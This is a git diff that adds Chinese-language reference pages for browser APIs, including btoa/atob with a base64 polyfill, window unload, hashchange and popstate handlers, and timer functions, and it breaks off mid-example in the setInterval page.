你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

- -

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

- -

Unicode 字符串

- -

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

- -

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

- -
// ucs-2 string to base64 encoded ascii
-function utoa(str) {
-    return window.btoa(unescape(encodeURIComponent(str)));
-}
-// base64 encoded ascii to ucs-2 string
-function atou(str) {
-    return decodeURIComponent(escape(window.atob(str)));
-}
-// Usage:
-utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
-atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-
-utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
-atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
-
- -

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
- -

Polyfill

- -
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
-(function() {
-    // base64 character set, plus padding character (=)
-    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
-
-        // Regular expression to check formal correctness of base64 encoded strings
-        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
-
-    window.btoa = window.btoa || function(string) {
-        string = String(string);
-        var bitmap, a, b, c,
-            result = "",
-            i = 0,
-            rest = string.length % 3; // To determine the final padding
-
-        for (; i < string.length;) {
-            if ((a = string.charCodeAt(i++)) > 255 ||
-                (b = string.charCodeAt(i++)) > 255 ||
-                (c = string.charCodeAt(i++)) > 255)
-                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
-
-            bitmap = (a << 16) | (b << 8) | c;
-            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
-                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
-        }
-
-        // If there's need of padding, replace the last 'A's with equal signs
-        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
-    };
-
-    window.atob = window.atob || function(string) {
-        // atob can work with strings with whitespaces, even inside the encoded part,
-        // but only \t, \n, \f, \r and ' ', which can be stripped.
-        string = String(string).replace(/[\t\n\f\r ]+/g, "");
-        if (!b64re.test(string))
-            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
-
-        // Adding the padding if missing, for semplicity
-        string += "==".slice(2 - (string.length & 3));
-        var bitmap, result = "",
-            r1, r2, i = 0;
-        for (; i < string.length;) {
-            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
-                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
-
-            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
-                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
-                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
-        }
-        return result;
-    };
-})()
-
- -

浏览器兼容性

- -

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html new file mode 100644 index 0000000000..78bed99eb9 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html @@ -0,0 +1,111 @@ +--- +title: window.onbeforeunload +slug: Web/API/Window/onbeforeunload +translation_of: Web/API/WindowEventHandlers/onbeforeunload +--- +
{{ApiRef}}
+ +

概述

+ +

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

+ +

语法

+ +
window.onbeforeunload = funcRef
+ + + +

示例

+ +
window.onbeforeunload = function (e) {
+  e = e || window.event;
+
+  // 兼容IE8和Firefox 4之前的版本
+  if (e) {
+    e.returnValue = '关闭提示';
+  }
+
+  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
+  return '关闭提示';
+};
+
+ +

附注

+ +

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

+ +

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

+ +

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

+ +

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

+ +

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ +

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..0c7f3ebefa --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,124 @@ +--- +title: window.onhashchange +slug: Web/API/Window/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +

{{APIRef("HTML DOM")}}

+ +

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

+ +

语法

+ +
window.onhashchange = funcRef;
+
+ +

或者

+ +
<body onhashchange="funcRef();">
+ +

以上操作将覆盖现有的事件处理程序。

+ +

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

参数

+ +
+
funcRef
+
对一个函数的引用。
+
+ +

例子

+ +
if ("onhashchange" in window) {
+    alert("该浏览器支持 hashchange 事件!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

hashchange 事件

+ +

hashchange 事件对象有下面两个属性:

+ + + + + + + + + + + + + + + + + + + +
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
+ +

Workaround for event.newURL and event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..6efc1ec835 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,68 @@ +--- +title: window.onpopstate +slug: Web/API/Window/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +

{{ ApiRef() }}

+ +

{{ gecko_minversion_header("2") }}

+ +

概述

+ +

window.onpopstatepopstate事件在window对象上的事件处理程序.

+ +

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

+ +

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

+ +

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

+ +

语法

+ +
window.onpopstate = funcRef;
+
+ + + +

popstate事件

+ +

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+//绑定事件处理函数.
+history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
+history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
+history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
+history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // 弹出 "location: http://example.com/example.html, state: null
+history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onpopstate")}}

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html new file mode 100644 index 0000000000..5e766c1d67 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html @@ -0,0 +1,69 @@ +--- +title: window.onunload +slug: Web/API/Window/onunload +translation_of: Web/API/WindowEventHandlers/onunload +--- +

{{ ApiRef("HTML DOM") }}

+ +

概述

+ +

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

+ +
+

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

+
+ +
+

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

+
+ +

语法

+ +
window.addEventListener("unload", function(event) { ... });
+window.onunload = function(event) { ... };
+ +

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

+ +

例子

+ +
<html>
+<head>
+
+<title>onunload test</title>
+
+<script type="text/javascript">
+
+window.onunload = unloadPage;
+
+function unloadPage()
+{
+ alert("unload event detected!");
+}
+</script>
+</head>
+
+<body>
+<p>Reload a new page into the browser<br />
+ to fire the unload event for this page.</p>
+<p>You can also use the back or forward buttons<br />
+ to load a new page and fire this event.</p>
+</body>
+</html>
+
+
+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onunload")}}

+ +

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..2892e403d4 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,78 @@ +--- +title: WindowOrWorkerGlobalScope.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base64 + - DOM + - WindowOrWorkerGlobalScope + - atob + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

+ +

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

+ +

语法

+ +
var decodedData = scope.atob(encodedData);
+ +

异常

+ +

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html new file mode 100644 index 0000000000..6b742198a5 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html @@ -0,0 +1,171 @@ +--- +title: WindowOrWorkerGlobalScope.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base64 + - Web + - WindowOrWorkerGlobalScope + - 参考 + - 字符串 + - 数据 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

+ +
+

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

+
+ +

语法

+ +
let encodedData = window.btoa(stringToEncode);
+
+ +

参数

+ +
+
stringToEncode
+
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
+
+ +

返回值

+ +

一个包含 stringToEncode 的 Base64 表示的字符串。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

备注

+ +

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

+ +

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

+ +

Unicode 字符串

+ +

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

+ +

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

+ +
// ucs-2 string to base64 encoded ascii
+function utoa(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+// base64 encoded ascii to ucs-2 string
+function atou(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+// Usage:
+utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
+
+ +

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Polyfill

+ +
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
+(function() {
+    // base64 character set, plus padding character (=)
+    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+
+        // Regular expression to check formal correctness of base64 encoded strings
+        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
+
+    window.btoa = window.btoa || function(string) {
+        string = String(string);
+        var bitmap, a, b, c,
+            result = "",
+            i = 0,
+            rest = string.length % 3; // To determine the final padding
+
+        for (; i < string.length;) {
+            if ((a = string.charCodeAt(i++)) > 255 ||
+                (b = string.charCodeAt(i++)) > 255 ||
+                (c = string.charCodeAt(i++)) > 255)
+                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
+
+            bitmap = (a << 16) | (b << 8) | c;
+            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
+                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
+        }
+
+        // If there's need of padding, replace the last 'A's with equal signs
+        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
+    };
+
+    window.atob = window.atob || function(string) {
+        // atob can work with strings with whitespaces, even inside the encoded part,
+        // but only \t, \n, \f, \r and ' ', which can be stripped.
+        string = String(string).replace(/[\t\n\f\r ]+/g, "");
+        if (!b64re.test(string))
+            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
+
+        // Adding the padding if missing, for semplicity
+        string += "==".slice(2 - (string.length & 3));
+        var bitmap, result = "",
+            r1, r2, i = 0;
+        for (; i < string.length;) {
+            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
+                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
+
+            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
+                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
+                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
+        }
+        return result;
+    };
+})()
+
+ +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html new file mode 100644 index 0000000000..9a2d6e1790 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -0,0 +1,74 @@ +--- +title: WindowTimers.clearInterval() +slug: Web/API/Window/clearInterval +tags: + - API + - WindowOrWorkerGlobalScope + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

+ +

语法

+ +
scope.clearInterval(intervalID)
+
+ +

Parameters

+ +
+
intervalID
+
要取消的定时器的 ID。是由 setInterval() 返回的。
+
+ +

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

查看 setInterval() 的示例

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html new file mode 100644 index 0000000000..4b20c970d7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -0,0 +1,150 @@ +--- +title: WindowOrWorkerGlobalScope.clearTimeout() +slug: Web/API/WindowTimers/clearTimeout +tags: + - API + - WindowOrWorkerGlobalScope + - clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

+ +

语法

+ +
scope.clearTimeout(timeoutID)
+ + + +

Parameters

+ +
+
timeoutID
+
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
+
+ +

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

+ +

示例

+ +

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

+ +
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };
+ +

注意

+ +

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
+ {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
+ {{CompatGeckoMobile("52")}}[1]
6.06.01.0
+
+ +

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

+ +

更多

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html new file mode 100644 index 0000000000..385a19b81b --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html @@ -0,0 +1,635 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - API + - DOM + - 定时 + - 方法 + - 时间 +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

+ +

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

+ +

语法

+ +
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
+var intervalID = scope.setInterval(code, delay);
+
+ +

参数

+ +
+
func
+
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
+
code
+
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
+
delay
+
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
+
arg1, ..., argN {{optional_inline}}
+
当定时器过期的时候,将被传递给func指定函数的附加参数。
+
+ +

返回值

+ +

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

+ +

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

+ +
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
+ +

示例

+ +

例1:基本用法

+ +

下面例子是 setInterval()的基本语法

+ +
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
+
+function myCallback(a, b)
+{
